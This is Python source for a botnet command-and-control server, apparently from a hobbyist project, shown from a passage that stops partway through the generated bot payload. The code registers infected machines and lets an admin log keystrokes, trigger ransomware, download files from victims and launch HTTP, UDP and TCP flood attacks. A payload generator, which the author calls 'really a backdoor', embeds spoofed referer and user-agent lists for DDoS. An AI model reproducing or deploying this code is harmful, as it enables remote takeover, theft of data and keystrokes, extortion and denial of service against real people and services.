self.log(f"[({datetime.datetime.today()})][(ERROR)]: There was an error with listening for connections: {e}")
def obtain_botname_list(self):
botnames = []
for i in self.botinfo:
botnames.append(i[0])
return botnames
def parse_info_msg(self, infomsg, conn, srcport):
"""There is a message sent by every client to the server, which would contain information about them.
This include their hostname, IP Address, User, and Operating System. This is mainly for the bots,
so that the admin would have a sense of the computer they have take control of. It returns a list
of all of the information, to be used later."""
try:
name = f"{infomsg.split()[1]}{self.botnum}"
except:
name = f"Bot{self.botnum}"
self.botnum += 1
try:
ip = infomsg.split()[2]
except:
ip = "127.0.0.1"
try:
osuser = infomsg.split()[3]
except:
osuser = "Unknown"
try:
os = infomsg.split()[4]
except:
os = "Unknown"
self.botnum += 1
ogcontent = open(self.botinfofile,"r")
content = ogcontent.read()
file = open(self.botinfofile,"w")
file.write(content)
file.write(f"\n[+] Botname: {name}\n[+] IP: {ip}\n[+] Src Port: {srcport}\n[+] User: {osuser}\n[+] OS: {os}\n[+] Conn: {conn}\n")
file.close()
return [name, ip, srcport, osuser, os, conn]
def get_filename(self, msg):
"""When there is a file trying to be provided for file transfering(etc), there might be files with names
with spaces in them. This is a problem with my old system of file name obtaining, as the filenames with
spaces would only have the first word of the file used to create or do something with said file. This
function fixes that problem, by returning the actual name of the file."""
msg = msg.split()
del msg[0]
filename = ""
for i in msg:
filename += f" {i}"
return filename.strip()
def log(self, logitem, display=True):
"""Important function, needed for logging. This is so that the Server Owner can see what happened in the
server, in case of a crash or bug that needed to be fixed. This helps, as all of the output in the server
is the same as the output in the log file. The server owner would be able to see any bugs or issues, or
easily anything that happened in the server at all. However, the log file is wiped everytime the server
restarts(I can easily change that, you can contact me if you want that to happen)."""
content = ""
if display:
print(logitem)
try:
file = open(self.logfile, "r")
content = file.read()
file.close()
except Exception as e:
print(f"[({datetime.datetime.today()})][(RESETLOG)]: Error with Log file '{self.logfile}': {e}, reconfiguring as a precaution.")
content = f"""{self.logo()}\n[({datetime.datetime.today()})][(RESETLOG)]: Error with Log file '{self.logfile}': {e}, reconfiguring as a precaution."""
file = open(self.logfile,"w")
file.write(content+"\n"+logitem)
file.close()
def send_to_other(self, sender, reciever, msg, recieverconn, send_raw=False):
"""Code for optimizing sending and logging at the same time. It logs the message that is being sent, and
it also sends the message to the connection that the sender its trying to send to."""
item = f"[({datetime.datetime.today()})][({sender})--->({reciever})]: {msg}"
self.log(item)
if not send_raw:
recieverconn.send(f"\n[({sender})]: {msg}".encode())
else:
recieverconn.send(msg.encode())
def send_file(self, filename, conn):
"""Function needed for FTP. It sends all of the bytes of the file being transferred to the specified connection,
which in this case it will be the server admin due to the function only being used in the transferring of files
from the server to the server admin."""
self.sending_file = True
transferred = True
try:
file = open(os.path.join(os.getcwd(),os.path.join(self.ftp_dir,filename)), "rb")
length = len(open(file.name,"rb").read())
except Exception as e:
transferred = False
length = 0
conn.send(f"!filesize {length}".encode())
time.sleep(2)
while True:
try:
sendto = file.read(10240)
if not sendto:
break
else:
conn.send(sendto)
except Exception as e:
print(e)
break
if transferred:
time.sleep(1)
self.send_to_other("SERVER",self.admin_username,"File Transfer completed.", conn)
def handle(self, conn, ip):
"""Very important function, needed for handling the connections of the clients. The way a bot is recognized
is quite simple really. There are many variables that help with the process. The handler first uses the information
packet(the one with all of the client information), to see if the bot is a bot or a fake bot. If the information
packet is invalid(if it does not start with '!botreg'), the connection will be simply closed. If the packet is
valid, the Bot will have the ability to become an admin(if they have the correct credentials). If they are not
an admin, they cannot do anything to take control of the server, but simply be able to send messages around to
the admin and server. If the Bot is trying to be an admin, they can send an authentication message(in this case
its '!login') followed by the credentials. These credentials are not displayed on the log. For authentication
to happen. The username is checked with the server variable to see if they match. If they do, now the passwords
need to match. There is password hashing in the server(sha256 hashing algorithm), for further security and to
prevent any breaches. The password provided would be hashed into sha256, to see if it matches with the hashed
password that the server has. It these all match, access is granted to the admin, where they can now do whatever
they want with the bots, whether good or bad. There are many things to do with the assortment of commands that
are provided."""
bot = False
name = ip
admin = False
registered = False
filesize = 0
bytesrecv = 0
while True:
try:
display_single_msg = True
msg_from_bot = conn.recv(10240)
try:
msg = str(msg_from_bot.decode()).strip()
except:
msg = str(msg)
if msg.strip() != "":
if not bot:
info_packet = msg
if not info_packet.startswith("!botreg"):
conn.close()
break
else:
self.connlist.append(conn)
info = self.parse_info_msg(msg, conn, ip[1])
self.botinfo.append(info)
name = info[0]
ipaddr = info[2]
if ipaddr in self.return_iplist("ban"):
conn.close()
break
registered = True
original_name = name
self.log(f"[({datetime.datetime.today()})][(BOTJOIN)]: Bot {name} has joined the botnet.")
try:
self.adminconn.send(f"\n[(SERVER)]: Bot {name} has joined the botnet.".encode())
except:
pass
bot = True
elif bot:
if not admin:
if msg.startswith("!login"):
if not self.admin_online:
try:
username = msg.split()[1]
password = msg.split()[2]
if username == self.admin_username and hashlib.sha256(password.encode()).hexdigest() == self.admin_password:
self.log(f"[({datetime.datetime.today()})][(INFO)]: A new admin session has been created.")
name = self.admin_username
admin = True
self.adminconn = conn
self.admin_online = True
self.send_to_other("SERVER",name,"Successfully logged into the Botnet. You have access to all of the bots.", conn)
self.send_to_other("SERVER",name,"Input '!help' if you need more info on the commands.", conn)
for i in self.botinfo:
if i[0] == original_name:
self.botinfo.remove(i)
break
else:
self.send_to_other("SERVER",name,"Authentication Failed.", conn)
except:
pass
else:
self.send_to_other("SERVER",name,"There is already an active owner session. Please wait until they log off.", conn)
elif msg.startswith("!key") and self.keylogging:
keystroke = msg.split()[1]
keyfile = open(name+".txt","r")
content = keyfile.read()
keyfile.close()
newkeyfile = open(name+".txt","w")
newkeyfile.write(content)
newkeyfile.write(f"\n[+] {keystroke}")
newkeyfile.close()
else:
try:
display_single_msg = False
if not self.focusing:
display_single_msg = True
else:
if conn == self.focus_conn:
if not self.downloading:
self.send_to_other(name, self.admin_username,msg, self.adminconn)
else:
try:
if msg.startswith("!filesize"):
filesize = int(msg.split()[1])
else:
bytesrecv += len(msg_from_bot)
self.botdownload.write(msg_from_bot)
if bytesrecv >= filesize:
bytesrecv = 0
filesize = 0
self.downloading = False
self.botdownload.close()
except Exception as e:
self.botdownload.write(msg_from_bot)
except:
display_single_msg = True
elif admin:
if not self.filetransfer:
if msg.startswith("!help"):
self.log(f"[({datetime.datetime.today()})][(SERVER)--->({self.admin_username})]: Sent the help message.")
self.adminconn.send(self.help_msg().encode())
elif msg.startswith("!startftp"):
self.send_to_other("SERVER",name, "Activiting FTP mode. You will be able to get files inside of the servers directory(for ex downloaded bot Files).", conn)
self.send_to_other("SERVER",name, "You can input '!help' in case you need to know what commands are there for you.", conn)
self.filetransfer = True
elif msg.startswith("!focusconn"):
try:
botname = msg.split()[1]
found = False
for i in self.botinfo:
if i[0] == botname:
self.focus_conn = i[len(i)-1]
found = True
if found:
self.send_to_other("SERVER",name,f"You can now only see output from bot {botname}.", conn)
self.focus_botname = botname
self.focusing = True
except:
self.send_to_other("SERVER",name,"Invalid input! Here is the valid input: !focusconn <botname>", conn)
elif msg.startswith("!banip"):
try:
banned_ip = msg.split()[1]
if banned_ip in self.return_iplist("allow"):
self.send_to_other("SERVER",name,f"The IP Address specified is in the whitelist! Unwhitelist it to ban it.", conn)
elif banned_ip in self.return_iplist("ban"):
self.send_to_other("SERVER",name,f"The IP Address specified is already in the banlist!", conn)
else:
self.add_ip(banned_ip, "ban")
self.send_to_other("SERVER",name,f"IP Address '{banned_ip}' has been banned from the server.", conn)
except:
self.send_to_other("SERVER",name,f"Invalid input! Here is the valid input: !banip <ip>", conn)
elif msg.startswith("!unbanip"):
try:
unbanning_ip = msg.split()[1]
if unbanning_ip not in self.return_iplist("ban"):
self.send_to_other("SERVER",name,f"The IP Address specified is not in the banlist!", conn)
else:
self.remove_ip(unbanning_ip,"ban")
self.send_to_other("SERVER",name,f"IP Address '{unbanning_ip}' has been unbanned from the server.", conn)
except:
self.send_to_other("SERVER",name,f"Invalid input! Here is the valid input: !unbanip <ip>", conn)
elif msg.startswith("!getipbanlist"):
self.send_to_other("SERVER",name,f"IP Ban List: {self.return_iplist('ban')}", conn)
elif msg.startswith("!getipwhitelist"):
self.send_to_other("SERVER",name,f"IP White List: {self.return_iplist('allow')}", conn)
elif msg.startswith("!whitelistip"):
try:
whitelist_ip = msg.split()[1]
if whitelist_ip in self.return_iplist("allow"):
self.send_to_other("SERVER",name,f"The IP Address specified is already in the whitelist!", conn)
elif whitelist_ip in self.return_iplist("ban"):
self.send_to_other("SERVER",name,f"The IP Address specified is in the banlist!", conn)
else:
self.add_ip(whitelist_ip, "allow")
self.send_to_other("SERVER",name,f"IP Address '{whitelist_ip}' has been whitelisted in the server.", conn)
except:
self.send_to_other("SERVER",name,f"Invalid input! Here is the valid input: !whitelistip <ip>", conn)
elif msg.startswith("!unwhitelistip"):
try:
unwhitelist_ip = msg.split()[1]
if unwhitelist_ip not in self.return_iplist("allow"):
self.send_to_other("SERVER",name,f"The IP Address specified is not in the whitelist!", conn)
else:
self.remove_ip(unwhitelist_ip,"allow")
self.send_to_other("SERVER",name,f"IP Address '{unwhitelist_ip}' has been unwhitelisted from the server.", conn)
except:
self.send_to_other("SERVER",name,f"Invalid input! Here is the valid input: !unwhitelistip <ip>", conn)
elif msg.startswith("!togglelisten"):
if self.listening == True:
self.listening = False
elif self.listening == False:
self.listening = True
self.log(f"[({datetime.datetime.today()})][(INFO)]: Listening for connections has been set to: {self.listening}")
self.adminconn.send(f"\n[(SERVER)]: Listening for connections has been set to: {self.listening}".encode())
elif msg.startswith("!stopfocus"):
if not self.focusing:
self.send_to_other("SERVER",name,"You are not focusing on a bot right now!", conn)
else:
self.focusing = False
self.focus_conn = None
self.send_to_other("SERVER",name,f"Stopped focusing on bot {self.focus_botname}.", conn)
self.focus_botname = ""
elif msg.startswith("!getbotinfo"):
if len(self.botinfo) == 0:
self.send_to_other("SERVER",name, "There are no bots connected to the Botnet at the moment.", conn)
for bot in self.botinfo:
if "closed" in str(bot[5]):
self.botinfo.remove(bot)
else:
self.send_to_other("SERVER",name,f"Info on Bot {bot[0]} - IP: {bot[1]} Src-Port: {bot[2]} User: {bot[3]} OS: {bot[4]} Conn: {bot[5]}", self.adminconn)
elif msg.startswith("!filedownload"):
try:
filename = self.get_filename(msg)
if self.downloading:
self.send_to_other("SERVER",name,"You are already downloading a file from the bot computer!", conn)
else:
if self.focusing:
self.botdownload = open(os.path.join(os.getcwd(),f"{self.ftp_dir}/{filename}"),"wb")
self.downloading = True
self.send_to_other(self.admin_username,self.focus_botname,msg, self.focus_conn, True)
self.send_to_other("SERVER",name,f"Attempting to download file {filename} from {self.focus_botname}. You will not be able to send instructions to any of the bots until the download finishes!", conn)
else:
self.send_to_other("SERVER",name,"You need to be in focus mode to be able to download files from bots(there would be a lot of traffic going on in the server)!", conn)
except:
self.send_to_other("SERVER",name,"Invalid input! Here is the valid input: !filedownload <filename>", conn)
else:
if msg.startswith("!stopatk"):
if self.ddosing:
if not self.focusing:
self.ddosing = False
self.send_to_other("SERVER",self.admin_username,"Attempting to stop all DDoS Attacks in the botnet.",self.adminconn)
else:
self.send_to_other("SERVER",self.admin_username,"You are in focus mode! Only the bot you are focusing will stop attacking!",self.adminconn)
elif not self.ddosing:
self.send_to_other("SERVER",self.admin_username,"The Bots are currently not attacking any domain.",self.adminconn)
elif msg.startswith("!keylog"):
self.send_to_other("SERVER",self.admin_username,"Activating Keylogger script on the bots(All of the logged keystrokes will be in a txt file with the bot's name).",self.adminconn)
self.keylogging = True
botnames = self.obtain_botname_list()
for i in botnames:
try:
keylogfile = open(f"{i}.txt","r")
except:
keylogfile = open(f"{i}.txt","w")
keylogfile.write(f"\nLOGGED KEYSTROKES FOR BOT {i}\n")
keylogfile.close()
elif msg.startswith("!stopkeylog"):
self.keylogging = False
self.send_to_other("SERVER",self.admin_username,"Deactivating Keylogger script on the bots.",self.adminconn)
elif msg.startswith("!ransomware"):
if self.ransomware_active:
if self.focusing:
self.send_to_other("SERVER",name,"Only the bot in focus mode has had the ransomware program activated!", conn)
else:
self.send_to_other("SERVER",name,"Ransomware programs are activating!", conn)
self.send_to_other("SERVER",name,"Payloads are effective!", conn)
else:
self.send_to_other("SERVER",name,"The ransomware has been disabled in the config file. Turn the value assigned to 'ransomware_active' to 't'", conn)
elif msg.startswith("!download"):
try:
filename = msg.split()[1]
website = msg.split()[2]
self.send_to_other("SERVER",self.admin_username,f"Making the bots download contents from '{website}' into file {filename}",self.adminconn)
except:
self.send_to_other("SERVER",name,"Invalid input! Here is the valid input: !download <filename> <website>", conn)
elif msg.startswith('!httpflood'):
if self.ddosing:
self.send_to_other("SERVER",self.admin_username,"There is already an ongoing DDoS Attack! Please stop the attack if you want to start a new one(input '!stopatk').",self.adminconn)
else:
msgtobot = msg.split()
if self.focusing:
self.send_to_other("SERVER",self.admin_username,"You are in focus mode! Only the bot you are focusing will start attacking!",self.adminconn)
else:
self.ddosing = True
try:
targ_website = msgtobot[1]
atk_delay = float(msgtobot[2])
self.send_to_other("SERVER",self.admin_username,f"Beginning HTTP Flood Attack on {targ_website} with delay of {atk_delay}.",self.adminconn)
except:
self.send_to_other("SERVER",name,"Invalid input! Here is the valid input: !httpflood <website> <atk_delay>", conn)
elif msg.startswith('!udpflood') or msg.startswith("!tcpflood"):
if self.ddosing:
self.send_to_other("SERVER",self.admin_username,"There is already an ongoing DDoS Attack! Please stop the attack if you want to start a new one(input '!stopatk').",self.adminconn)
else:
if self.focusing:
self.send_to_other("SERVER",self.admin_username,"You are in focus mode! Only the bot you are focusing will start attacking!",self.adminconn)
else:
self.ddosing = True
if msg.startswith('!udpflood'):
protocol = "UDP"
elif msg.startswith("!tcpflood"):
protocol = "TCP"
msgtobot = msg.split()
try:
target = msgtobot[1]
try:
port = int(msgtobot[2])
except:
port = 80
try:
delay = float(msgtobot[3])
except:
delay = 0
self.send_to_other("SERVER",self.admin_username,f"Beginning {protocol} Flood Attack on {target}:{port} with delay of {delay}.",self.adminconn)
except:
self.send_to_other("SERVER",name,f"Invalid input! Here is the valid input: !{protocol.lower()}flood <ip> <port> <delay>", conn)
if not self.focusing and not self.downloading:
if msg.strip() != "":
self.log(f"[({datetime.datetime.today()})][({self.admin_username})--->(BOTS)]: {msg}")
display_single_msg = False
for bot in self.connlist:
try:
if conn != bot:
if msg.startswith("!ransomware") and not self.ransomware_active:
pass
else:
bot.send(msg.encode())
except:
pass
else:
if not self.downloading:
if msg.strip() != "":
display_single_msg = False
self.log(f"[({datetime.datetime.today()})][({self.admin_username})--->({self.focus_botname})]: {msg}")
self.focus_conn.send(msg.encode())
elif self.filetransfer:
if msg.startswith("!help"):
self.adminconn.send(self.file_tranfer_help_msg().encode())
self.log(f"[({datetime.datetime.today()})][(SERVER)--->({self.admin_username})]: Sent the FTP Help message.")
elif msg.startswith("!download"):
try:
filename = self.get_filename(msg)
try:
file = open(os.path.join(os.getcwd(),f"{self.ftp_dir}/{filename}"),"rb")
file.close()
except:
pass
self.send_to_other("SERVER",name, f"Preparing to download file: {file.name}.", conn)
self.send_file(filename, conn)
except FileNotFoundError:
self.send_to_other("SERVER",name,f"The file specified does not exist!", conn)
except Exception as e:
self.send_to_other("SERVER",name,f"Invalid input! Here is the valid input: !download <file>", conn)
elif msg.startswith("!listdir"):
dirlist = os.listdir(path=os.path.join(os.getcwd(), self.ftp_dir))
self.send_to_other("SERVER",name,f"Files extracted from bots: {dirlist}",conn)
elif msg.startswith("!stopftp"):
self.send_to_other("SERVER",name,"De-Activating FTP Mode. Returning to the Botnet. You will be able to send commands to the bots.",conn)
self.filetransfer = False
if display_single_msg:
if not msg.startswith("!login"):
if not msg.startswith("!key") and msg.strip() != "":
self.log(f"[({datetime.datetime.today()})][({name})]: {msg}")
if conn != self.adminconn:
self.adminconn.send(f"\n[({name})]: {msg}".encode())
else:
self.log(f"[({datetime.datetime.today()})][({name})]: Attempting to log into the Admin Account.")
except Exception as e:
if registered:
self.log(f"[({datetime.datetime.today()})][(ERROR)]: Closing connection with {name} due to error: {e}")
if conn == self.adminconn:
self.log(f"[({datetime.datetime.today()})][(INFO)]: The admin has left the Botnet.")
self.adminconn = None
self.admin_online = False
else:
try:
if registered:
self.adminconn.send(f"[(SERVER)]: {name} has disconnected from the Botnet.".encode())
except:
pass
if conn == self.focus_conn:
self.send_to_other("SERVER",self.admin_username,f"The Bot you were focusing on has disconnected from the Botnet, going back to normal.", self.adminconn)
self.focusing = False
self.focus_conn = None
self.focus_botname = ""
self.downloading = False
try:
self.connlist.remove(conn)
except:
pass
conn.close()
break
def gen_payload(self):
"""The Payload script is located here. It is generated based on the server variables in the '__init__' function.
This is what the bots use to connect to the server. This script is really a backdoor, which opens the victim to
having their computer controlled remotely by the admin. There are a lot of referer and useragent tags, and the
reason for that is the DDoS Function. If the user, for whatever reason wants to commit a large scale DDoS Attack,
they need to have uniqueness with the HTTP Headers, so that it could help confuse the server they are attacking,
and eventually bring it down(Servers are really secure nowadays and DDoSing is illegal, so only DDoS Your own
servers please). There is also all of the code needed for controlling the bot. The functions are divided into
different classes, with the 3 types of DDoS Functions divided into different classes, with the main bot code
in one separate class itself."""
payload = """
import socket, threading, os, sys, urllib.request, random, time, shutil, subprocess, sqlite3
try:
from cryptography.fernet import Fernet
from pynput.keyboard import Listener
except:
pass
class DDoS:
def __init__(self, ip, delay):
self.ip = ip
self.delay = delay
self.stopatk = False
self.useragents = self.obtain_user_agents()
self.referers = self.obtain_referers()
self.threader = threading.Thread(target=self.start_thr)
self.threader.start()
def obtain_referers(self):
referers = ['http://www.google.com/?q=', 'http://yandex.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..',
'http://vk.com/profile.php?redirect=', 'http://www.usatoday.com/search/results?q=',
'http://engadget.search.aol.com/search?q=query?=query=..',
'https://www.google.ru/#hl=ru&newwindow=1?&saf..,or.r_gc.r_pw=?.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=882',
'https://www.google.ru/#hl=ru&newwindow=1&safe..,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=925',
'http://yandex.ru/yandsearch?text=',
'https://www.google.ru/#hl=ru&newwindow=1&safe..,iny+gay+q=pcsny+=;zdr+query?=poxy+pony&gs_l=hp.3.r?=.0i19.505.10687.0.10963.33.29.4.0.0.0.242.4512.0j26j3.29.0.clfh..0.0.dLyKYyh2BUc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp?=?fd2cf4e896a87c19&biw=1389&bih=832',
'http://go.mail.ru/search?mail.ru=1&q=', 'http://nova.rambler.ru/search?=btnG?=%D0?2?%D0?2?%=D0..',
'http://ru.wikipedia.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%..',
'http://ru.search.yahoo.com/search;_yzt=?=A7x9Q.bs67zf..',
'http://ru.search.yahoo.com/search;?_query?=l%t=?=?A7x..',
'http://go.mail.ru/search?gay.ru.query=1&q=?abc.r..',
'/#hl=en-US?&newwindow=1&safe=off&sclient=psy=?-ab&query=%D0%BA%D0%B0%Dq=?0%BA+%D1%83%()_D0%B1%D0%B=8%D1%82%D1%8C+%D1%81bvc?&=query&%D0%BB%D0%BE%D0%BD%D0%B0q+=%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+%D1%87%D0%BB%D0%B5%D0%BD&oq=q=%D0%BA%D0%B0%D0%BA+%D1%83%D0%B1%D0%B8%D1%82%D1%8C+%D1%81%D0%BB%D0%BE%D0%BD%D0%B0+%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D1%DO%D2%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+?%D1%87%D0%BB%D0%B5%D0%BD&gs_l=hp.3...192787.206313.12.206542.48.46.2.0.0.0.190.7355.0j43.45.0.clfh..0.0.ytz2PqzhMAc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=?882',
'http://nova.rambler.ru/search?btnG=%D0%9D%?D0%B0%D0%B..',
'http://www.google.ru/url?sa=t&rct=?j&q=&e..',
'http://help.baidu.com/searchResult?keywords=', 'http://www.bing.com/search?q=',
'https://www.yandex.com/yandsearch?text=', 'https://duckduckgo.com/?q=',
'http://www.ask.com/web?q=',
'http://search.aol.com/aol/search?q=', 'https://www.om.nl/vaste-onderdelen/zoeken/?zoeken_term=',
'https://drive.google.com/viewerng/viewer?url=', 'http://validator.w3.org/feed/check.cgi?url=',
'http://host-tracker.com/check_page/?furl=',
'http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=',
'http://jigsaw.w3.org/css-validator/validator?uri=', 'https://add.my.yahoo.com/rss?url=',
'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=',
'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=',
'https://steamcommunity.com/market/search?q=', 'http://filehippo.com/search?q=',
'http://www.topsiteminecraft.com/site/pinterest.com/search?q=',
'http://eu.battle.net/wow/en/search?q=',
'http://engadget.search.aol.com/search?q=', 'http://careers.gatesfoundation.org/search?q=',
'http://techtv.mit.edu/search?q=', 'http://www.ustream.tv/search?q=',
'http://www.ted.com/search?q=',
'http://funnymama.com/search?q=', 'http://itch.io/search?q=', 'http://jobs.rbs.com/jobs/search?q=',
'http://taginfo.openstreetmap.org/search?q=', 'http://www.baoxaydung.com.vn/news/vn/search&q=',
'https://play.google.com/store/search?q=', 'http://www.tceq.texas.gov/@@tceq-search?q=',
'http://www.reddit.com/search?q=', 'http://www.bestbuytheater.com/events/search?q=',
'https://careers.carolinashealthcare.org/search?q=', 'http://jobs.leidos.com/search?q=',
'http://jobs.bloomberg.com/search?q=', 'https://www.pinterest.com/search/?q=',
'http://millercenter.org/search?q=', 'https://www.npmjs.com/search?q=',
'http://www.evidence.nhs.uk/search?q=', 'http://www.shodanhq.com/search?q=',
'http://ytmnd.com/search?q=',
'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=',
'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=',
'https://steamcommunity.com/market/search?q=', 'http://filehippo.com/search?q=',
'http://www.topsiteminecraft.com/site/pinterest.com/search?q=',
'http://eu.battle.net/wow/en/search?q=',
'http://engadget.search.aol.com/search?q=', 'http://careers.gatesfoundation.org/search?q=',
'http://techtv.mit.edu/search?q=', 'http://www.ustream.tv/search?q=',
'http://www.ted.com/search?q=',
'http://funnymama.com/search?q=', 'http://itch.io/search?q=', 'http://jobs.rbs.com/jobs/search?q=',
'http://taginfo.openstreetmap.org/search?q=', 'http://www.baoxaydung.com.vn/news/vn/search&q=',
'https://play.google.com/store/search?q=', 'http://www.tceq.texas.gov/@@tceq-search?q=',
'http://www.reddit.com/search?q=', 'http://www.bestbuytheater.com/events/search?q=',
'https://careers.carolinashealthcare.org/search?q=', 'http://jobs.leidos.com/search?q=',
'http://jobs.bloomberg.com/search?q=', 'https://www.pinterest.com/search/?q=',
'http://millercenter.org/search?q=', 'https://www.npmjs.com/search?q=',
'http://www.evidence.nhs.uk/search?q=', 'http://www.shodanhq.com/search?q=',
'http://ytmnd.com/search?q=',
'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=',
'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=',
'https://steamcommunity.com/market/search?q=', 'http://filehippo.com/search?q=',
'http://www.topsiteminecraft.com/site/pinterest.com/search?q=',
'http://eu.battle.net/wow/en/search?q=',
'http://engadget.search.aol.com/search?q=', 'http://careers.gatesfoundation.org/search?q=',
'http://techtv.mit.edu/search?q=', 'http://www.ustream.tv/search?q=',
'http://www.ted.com/search?q=',
'http://funnymama.com/search?q=', 'http://itch.io/search?q=', 'http://jobs.rbs.com/jobs/search?q=',
'http://taginfo.openstreetmap.org/search?q=', 'http://www.baoxaydung.com.vn/news/vn/search&q=',
'https://play.google.com/store/search?q=', 'http://www.tceq.texas.gov/@@tceq-search?q=',
'http://www.reddit.com/search?q=', 'http://www.bestbuytheater.com/events/search?q=',
'https://careers.carolinashealthcare.org/search?q=', 'http://jobs.leidos.com/search?q=',
'http://jobs.bloomberg.com/search?q=', 'https://www.pinterest.com/search/?q=',
'http://millercenter.org/search?q=', 'https://www.npmjs.com/search?q=',
'http://www.evidence.nhs.uk/search?q=', 'http://www.shodanhq.com/search?q=',
'http://ytmnd.com/search?q=',
'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=',
'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=',
'https://steamcommunity.com/market/search?q=', 'http://filehippo.com/search?q=',
'http://www.topsiteminecraft.com/site/pinterest.com/search?q=',
'http://eu.battle.net/wow/en/search?q=',
'http://engadget.search.aol.com/search?q=', 'http://careers.gatesfoundation.org/search?q=',
'http://techtv.mit.edu/search?q=', 'http://www.ustream.tv/search?q=',
'http://www.ted.com/search?q=',
'http://funnymama.com/search?q=', 'http://itch.io/search?q=', 'http://jobs.rbs.com/jobs/search?q=',
'http://taginfo.openstreetmap.org/search?q=', 'http://www.baoxaydung.com.vn/news/vn/search&q=',
'https://play.google.com/store/search?q=', 'http://www.tceq.texas.gov/@@tceq-search?q=',
'http://www.reddit.com/search?q=', 'http://www.bestbuytheater.com/events/search?q=',
'https://careers.carolinashealthcare.org/search?q=', 'http://jobs.leidos.com/search?q=',
'http://jobs.bloomberg.com/search?q=', 'https://www.pinterest.com/search/?q=',
'http://millercenter.org/search?q=', 'https://www.npmjs.com/search?q=',
'http://www.evidence.nhs.uk/search?q=', 'http://www.shodanhq.com/search?q=',
'http://ytmnd.com/search?q=',
'https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=',
'http://www.google.com/?q=', 'https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=',
'https://drive.google.com/viewerng/viewer?url=', 'http://www.google.com/translate?u=',
'https://developers.google.com/speed/pagespeed/insights/?url=',
'http://help.baidu.com/searchResult?keywords=', 'http://www.bing.com/search?q=',
'https://add.my.yahoo.com/rss?url=', 'https://play.google.com/store/search?q=',
'http://www.google.com/?q=',
'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=']
return referers
def obtain_user_agents(self):
user_agents = ['Mozilla/5.0 (Amiga; U; AmigaOS 1.3; en; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14',
'Mozilla/5.0 (AmigaOS; U; AmigaOS 1.3; en-US; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.15',
'Mozilla/5.0 (AmigaOS; U; AmigaOS 1.3; en; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14',
'Mozilla/5.0 (Android 2.2; Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4',
'Mozilla/5.0 (BeOS; U; BeOS BeBox; fr; rv:1.9) Gecko/2008052906 BonEcho/2.0',
'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.1) Gecko/20061220 BonEcho/2.0.0.1',
'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.10) Gecko/20071128 BonEcho/2.0.0.10',
'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.17) Gecko/20080831 BonEcho/2.0.0.17',
'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.6) Gecko/20070731 BonEcho/2.0.0.6',
'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.7) Gecko/20070917 BonEcho/2.0.0.7',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
